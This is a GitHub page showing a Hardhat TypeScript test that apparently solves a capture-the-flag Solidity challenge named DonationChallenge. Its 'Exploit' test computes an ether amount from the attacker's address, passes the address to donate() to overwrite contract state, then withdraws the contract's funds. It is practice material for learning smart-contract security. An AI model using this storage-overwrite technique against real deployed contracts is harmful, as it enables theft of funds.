generated from nicobevilacqua/hardhat-solidity-typescript-boilerplate
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathDonationChallenge.test.ts
49 lines (40 loc) · 1.44 KB
/
DonationChallenge.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
const { utils, BigNumber } = ethers;
describe('DonationChallenge', () => {
let target: Contract;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
before(async () => {
[owner, attacker] = await ethers.getSigners();
const targetFactory = await ethers.getContractFactory('DonationChallenge');
target = await targetFactory.deploy({
value: utils.parseEther('1'),
});
await target.deployed();
console.log('Target deployed to:', target.address);
});
it('Exploit', async () => {
const scale = BigNumber.from(10).pow(18).mul(utils.parseEther('1'));
const attackerAddressNumber = BigNumber.from(attacker.address);
const etherToSend = attackerAddressNumber.div(scale);
console.log(BigNumber.from(attacker.address).toString());
console.log(scale.toString());
console.log(etherToSend.toString());
console.log(utils.formatEther(etherToSend));
let tx;
console.log('1 - Donating');
tx = await target.connect(attacker).donate(attackerAddressNumber, {
value: etherToSend,
});
await tx.wait();
console.log('2 - Withdrawing');
tx = await target.connect(attacker).withdraw();
await tx.wait();
});
after(async () => {
expect(await target.isComplete()).to.equal(true);
});
});